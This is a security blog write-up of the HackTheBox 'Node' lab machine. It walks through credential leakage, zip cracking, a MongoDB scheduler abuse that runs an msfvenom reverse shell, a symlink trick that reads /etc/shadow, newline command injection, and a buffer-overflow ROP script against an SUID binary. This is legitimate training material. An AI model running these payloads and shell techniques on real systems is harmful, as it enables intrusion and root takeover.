Booj thoughts on security

HackTheBox - Node

This writeup describes exploitation of the node machine on HackTheBox.

Many thanks to @rastating for a fantastic box and @Geluchat for helping me craft the final buffer overflow.



We start out, as always, by enumerating the ports that are open.

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace

So, just an HTTP and SSH port. If we browse to port 3000, we find a nice node-based social network style site.

There’s a login which we can attempt to brute-force, but all users displayed on the main page appear to be non-admin. This site, instead of having a website being a set of static pages generated on the server, will have it’s pages dynamically generated in the browser. If we look through burp we can see all requests the site is making.

The /api/users/latest request looks interesting, let’s see what it returns!

It’s the list of users on the front-page. So, let’s do the obvious and try /api/users, which adds one more user to the result.


As is traditional with these hashes we find our wordli…actually let’s just google it:


Use the credentials to log in, yielding a backup download page.

If we download it we see it’s just a file containing base64 encoded data.

root@kali:~/Downloads# file myplace.backup 
myplace.backup: ASCII text, with very long lines, with no line terminators
root@kali:~/Downloads# cat myplace.backup

We decode the data and the result is a zip-archive.

root@kali:~/Downloads# cat myplace.backup | base64 -d > outfile.backup
root@kali:~/Downloads# file outfile.backup
outfile.backup: Zip archive data, at least v1.0 to extract

We can try and extract it but we’ll find that it’s password protected. For zip cracking, john oddly appears to be buggy and won’t actually crack most hashes. In this case fcrackzip works perfectly, and is included in modern Kali installations. Run it with rockyou as a wordlist and we’re returned the zip password.

root@kali:~/Downloads# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u outfile.backup  

PASSWORD FOUND!!!!: pw == magicword 

This zip folder appears to contain a backup of the site being served. Inside the app.js we can grab the database credentials.

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

All we have left to try at the moment is an open SSH port, so let’s hope that mark’s reused his credentials. Spoiler Alert!

Privilege Escalation - Tom

As part of the standard enumeration phase, it’s worth checking all running processes. The tom user in this case is running the myplace app served over port 3000, but he’s also running another app in /var/scheduler.

mark@node:/etc/myplace$ ps aux | grep tom
tom       1232  0.0  5.6 1008568 42744 ?       Ssl  08:28   0:02 /usr/bin/node /var/scheduler/app.js
tom       1247  3.0  7.6 1030716 57768 ?       Ssl  08:28   2:31 /usr/bin/node /var/www/myplace/app.js
mark      1826  0.0  0.1  14228  1020 pts/2    S+   09:52   0:00 grep --color=auto tom

We can view the source and see exactly what it’s doing.

mark@node:/var/scheduler$ cat app.js 
const exec        = require('child_process').exec; 
const MongoClient = require('mongodb').MongoClient; 
const ObjectID    = require('mongodb').ObjectID; 
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler'; 

MongoClient.connect(url, function(error, db) { 
  if (error || !db) { 
    console.log('[!] Failed to connect to mongodb'); 

  setInterval(function () { 
    db.collection('tasks').find().toArray(function (error, docs) { 
      if (!error && docs) { 
        docs.forEach(function (doc) { 
          if (doc) { 
            console.log('Executing task ' + doc._id + '...'); 
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) }); 
      else if (error) { 
        console.log('Something went wrong: ' + error); 
  }, 30000); 


Here we can see it accesses the mongodb database, and executes any task placed within the tasks table. We have credentials so we can just write one to that table. Of course we also need to upload a binary to return us a shell. We’ll use msfvenom as it tradition.

root@kali:/tmp# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f elf -o shell.elf
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell.elf
root@kali:/tmp# scp shell.elf mark@

We login to mongodb, and use the below syntax to insert our payload to execute.

mark@node:/tmp$ chmod +x shell.elf
mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> use scheduler
switched to db scheduler
> show collections
> db.tasks.insertOne({cmd:'/tmp/shell.elf'})
	"acknowledged" : true,
	"insertedId" : ObjectId("5a972d3b72bbbe8072a8b03b")

Wait a few minutes and we’re returned a shell!

root@kali:/tmp# nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 44598
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

Privilege Escalation - Root

As part of standard enumeration steps, we search for any odd SUID files. The backup file is SUID, executable by our user tom and not a standard binary included with Linux.

find / -user root -perm -4000 -print 2>/dev/null
ls -la /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep  3 11:30 /usr/local/bin/backup

Let’s see if we can exploit this.

Binary Analysis

We download the file to our local machine but upon running it we get an immediate exit. So lets have a quick look at the disassembly:

root@kali:~# radare2 backup
[0x08048780]> s main
[0x080489fd]> pd 25
            ;-- main:
            ;-- main:
            0x080489fd      8d4c2404       lea ecx, dword [esp + 4]
            0x08048a01      83e4f0         and esp, 0xfffffff0
            0x08048a04      ff71fc         push dword [ecx - 4]
            0x08048a07      55             push ebp
            0x08048a08      89e5           mov ebp, esp
            0x08048a0a      57             push edi
            0x08048a0b      56             push esi
            0x08048a0c      53             push ebx
            0x08048a0d      51             push ecx
            0x08048a0e      81eca8100000   sub esp, 0x10a8
            0x08048a14      89cb           mov ebx, ecx
            0x08048a16      e835fcffff     call sym.imp.geteuid
            0x08048a1b      83ec0c         sub esp, 0xc
            0x08048a1e      50             push eax
            0x08048a1f      e81cfdffff     call sym.imp.setuid
            0x08048a24      83c410         add esp, 0x10
            0x08048a27      c745e4000000.  mov dword [ebp - 0x1c], 0
            0x08048a2e      c745e0000000.  mov dword [ebp - 0x20], 0
            0x08048a35      833b03         cmp dword [ebx], 3          ; [0x3:4]=0x1010146
        ,=< 0x08048a38      7f0a           jg 0x8048a44
        |   0x08048a3a      83ec0c         sub esp, 0xc
        |   0x08048a3d      6a01           push 1
        |   0x08048a3f      e87cfcffff     call sym.imp.exit
        `-> 0x08048a44      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=0x10101
            0x08048a47      83c004         add eax, 4

The jg which bypasses the exit instruction is the ‘jump if greater’ and will bypass the exit if the value at [ebx] is greater than 3. This address is placed into ebx in the following manner

lea ecx, dword [esp + 4]
mov ebx, ecx
cmp dword [ebx], 3

The value at the position [esp+4] at function start refers to the number of arguments placed into the program. This can be confirmed in the following manner:

gdb-peda$ break *main+0
Breakpoint 2 at 0x80489fd
gdb-peda$ r 1
Starting program: /root/backup 1
gdb-peda$ x/x $esp+4
0xffffd3a0:	0x00000002
gdb-peda$ r AAAA AAAA AAA
Starting program: /root/backup AAAA AAAA AAA
gdb-peda$ x/x $esp+4
0xffffd380:	0x00000004

As we can see, calling the program with 3 arguments results in a value of 4 (remember the program name is also an argument). The first section of this assembly is simply checking that we’ve placed enough arguments into the program.

So we pass in 3 arguments but still get an exit. Let’s run ltrace on the binary. The following calls look interesting:

strcat("/etc/myplace/key", "s")                  = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                  = 0
strcpy(0xff9cf2a8, "Could not open file\n\n")    = 0xff9cf2a8

This looks like we need to replicate more of the environment from the remote machine. In this case it attempts to open the above file and exits if it fails to find it. So, assuming we don’t know much about the remote machine, I place the following two lines inside the file on my local machine:


Let’s run ltrace again and see what comparisons are being made with the arguments 1 2 3.

fgets("key1\n", 1000, 0x8d03410)                                                                                                  = 0xffd7d45f
strcspn("key1\n", "\n")                                                                                                           = 4
strcmp("2", "key1")                                                                                                               = -1
fgets("key2\n", 1000, 0x8d03410)                                                                                                  = 0xffd7d45f
strcspn("key2\n", "\n")                                                                                                           = 4
strcmp("2", "key2")                                                                                                               = -1
fgets("key2", 1000, 0x8d03410)                                                                                                    = 0

Here we see, it grabs each line of the file and compares it to the respective argument. We can place an arbitrary number of keys into the keys file, but only the first two actually matter, Further comparisons will be made, but the access token is considered validated after the first two argument comparisons. So, we’ll pass in the arguments key1 key2 3. The binary fully runs, dumping some ascii art and we get the following message:

 [+] Validated access token
 [+] Starting archiving 3
 [!] The target path doesn't exist

Just as a reference, the keys file in question does not contain key1 or key2. I’ve included the values in this file here:

mark@node:/etc/myplace$ cat keys

From this point on I will be referring to these, but in short we just replace key1 and key2 with the first two lines of that file respectively.

So the third argument will be a file to archive and therefore ‘backup’ and return to the user. Obviously this is an SUID application, therefore we should be able to just dump the shadow file (or root.txt flag)! Let’s try it!

Arbitrary File Disclosure

tom@node:/$ /usr/local/bin/backup a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt
 [+] Validated access token
 [+] Finished! Encoded backup is below:


So it outputs a zip file encoded in base64. This is likely the method used to encode the earlier backup file we saw, and we know from the analysis and experience that it will have a password of “magicword”. The resultant file however is a bit of a troll.

If we try and encode a random file we can use ltrace to see what checks are being performed:

strstr("/tmp/file", "..")                  = nil
strstr("/tmp/file", "/root")               = nil
strchr("/tmp/file", ';')                   = nil
strchr("/tmp/file", '&')                   = nil
strchr("/tmp/file", '`')                   = nil
strchr("/tmp/file", '$')                   = nil
strchr("/tmp/file", '|')                   = nil
strstr("/tmp/file", "//")                  = nil
strcmp("/tmp/file", "/")                   = 1
strstr("/tmp/file", "/etc")                = nil

Here we see that it will search for almost all obvious command injection attempts and any strings with /etc or /root in the name. There is an obvious way to bypass this however, as zip will inherently follow symlinks!

If we create a soft system link and just attempt to backup that, we end up with ‘file doesn’t exist’. Simply create a directory, place the softlink within that to a known file and then run the backup binary as below.

tom@node:/tmp$ mkdir secretdir
mkdir secretdir
tom@node:/tmp$ cd secretdir
cd secretdir
tom@node:/tmp/secretdir$ ln -s /etc/shadow secretlink
ln -s /etc/shadow secretlink
tom@node:/tmp$ /usr/local/bin/backup a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/secretdir 

If we unzip the resultant backup, we’ll get our /etc/shadow file backed up, and we can do exactly the same for root.txt. I wouldn’t, however, call this pwned until we get command injection.

Command Execution #1 - Command Injection

If we pass in an argument of hello as a test file (that we know doesn’t exist), let’s see what the binary is doing behind the scenes with ltrace again:

ltrace -s 128 ./backup key1 key2 hello

We see an interesting line which shows how the zip actions ocurrs:

system("/usr/bin/zip -r -P magicword /tmp/.backup_1602217812 hello > /dev/null" <no return ...>

The author isn’t using any internal C libraries to zip the archive, he’s calling the system function and applying the zip binary to our file. If we look at the blacklist above however (note for everyone, do not use blacklists) we see that the author hasn’t blacklisted the newline character.

So this is relatively easy to bypass, we just place in a newline character and then call a file we want to run. Make sure you upgrade to a tty however:

/usr/local/bin/backup a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n /tmp/shell.elf'

Set up our listener and we’re returned a shell!

root@kali:/tmp# nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 44600
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

Command Execution #2 - Buffer Overflow

The argument being passed as the file address has an interesting property. It’s passed into a buffer during execution and isn’t properly bounds checked. If we pass in a long enough string into the argument, we get a segmentation fault, indicating we may have overwritten something valuable.

Performing the standard buffer overflow checks reveals that an EIP overwrite occurs after 512 bytes:

./pattern_offset.rb -q 0x31724130 -l 5000
[*] Exact match at offset 512

We’re quite restricted on this binary. ASLR is enabled (but not PIE), so we can’t do the standard jump to an address. However, since PIE is disabled, we can just use any functions contained within the PLT.

rabin2 -i backup
ordinal=001 plt=0x080485e0 bind=GLOBAL type=FUNC name=strstr
ordinal=002 plt=0x080485f0 bind=GLOBAL type=FUNC name=strcmp
ordinal=003 plt=0x08048600 bind=GLOBAL type=FUNC name=printf
ordinal=004 plt=0x08048610 bind=GLOBAL type=FUNC name=strcspn
ordinal=005 plt=0x08048620 bind=GLOBAL type=FUNC name=fgets
ordinal=006 plt=0x08048630 bind=GLOBAL type=FUNC name=fclose
ordinal=007 plt=0x08048640 bind=GLOBAL type=FUNC name=time
ordinal=008 plt=0x08048650 bind=GLOBAL type=FUNC name=geteuid
ordinal=009 plt=0x08048660 bind=GLOBAL type=FUNC name=strcat
ordinal=010 plt=0x08048670 bind=GLOBAL type=FUNC name=strcpy
ordinal=011 plt=0x08048680 bind=GLOBAL type=FUNC name=getpid
ordinal=012 plt=0x08048690 bind=GLOBAL type=FUNC name=puts
ordinal=013 plt=0x080486a0 bind=GLOBAL type=FUNC name=system
ordinal=014 plt=0x080486b0 bind=GLOBAL type=FUNC name=clock
ordinal=015 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=016 plt=0x080486c0 bind=GLOBAL type=FUNC name=exit
ordinal=017 plt=0x080486d0 bind=GLOBAL type=FUNC name=srand
ordinal=018 plt=0x080486e0 bind=GLOBAL type=FUNC name=strchr
ordinal=019 plt=0x080486f0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=020 plt=0x08048700 bind=GLOBAL type=FUNC name=fopen
ordinal=021 plt=0x08048710 bind=GLOBAL type=FUNC name=strncpy
ordinal=022 plt=0x08048720 bind=GLOBAL type=FUNC name=rand
ordinal=023 plt=0x08048730 bind=GLOBAL type=FUNC name=access
ordinal=024 plt=0x08048740 bind=GLOBAL type=FUNC name=setuid
ordinal=025 plt=0x08048750 bind=GLOBAL type=FUNC name=sprintf
ordinal=026 plt=0x08048760 bind=GLOBAL type=FUNC name=remove

26 imports

A thought I had was we might be able to use fgets to leak an address, and then use the same to collect our follow-up payload. Unfortunately as we’re using our result in arguments, any null bytes (as in the case of the stdin file descriptor, 0) will just terminate the string. In fact, because it’s placed in an argument, a lot of results are off the table.

So we’re going to use a technique called ‘the GNU wrapper’, where we just use a random null byte terminated section within the binary and pass it to the system function. If a binary with the same name exists within the PATH, it will be executed.

We can use system@plt, so there’s no need to leak any information, and all this requires is for us to find a workable string within the binary text section. The GNU string in GCC compiled files is the most common (although you can literally use any section of text you want as long as you can make a usable file from it).

We use rabin2 -i backup to grab the plt address of system:

ordinal=013 plt=0x080486a0 bind=GLOBAL type=FUNC name=system

We use objdump -s backup to view the text sections and find the GNU string:

Contents of section .note.ABI-tag:
8048168 04000000 10000000 01000000 474e5500  ............GNU.
8048178 00000000 02000000 06000000 20000000  ............ …

It’s at 0x8048174, so we now have all the information we need to construct our rop-chain:

import struct

def conv(x):
    return struct.pack("<I", x)
systemplt = conv(0x080486a0)
exitplt = conv(0x080486c0)
gnu_bin_abi = conv(0x8048174)
rop = 'A' * 512
rop += systemplt
rop += exitplt
rop += gnu_bin_abi
print rop

I hope you enjoyed this writeup! If you have any feedback feel free to email, message me on twitter or hit me up on Slack! Happy Hacking!

comments powered by Disqus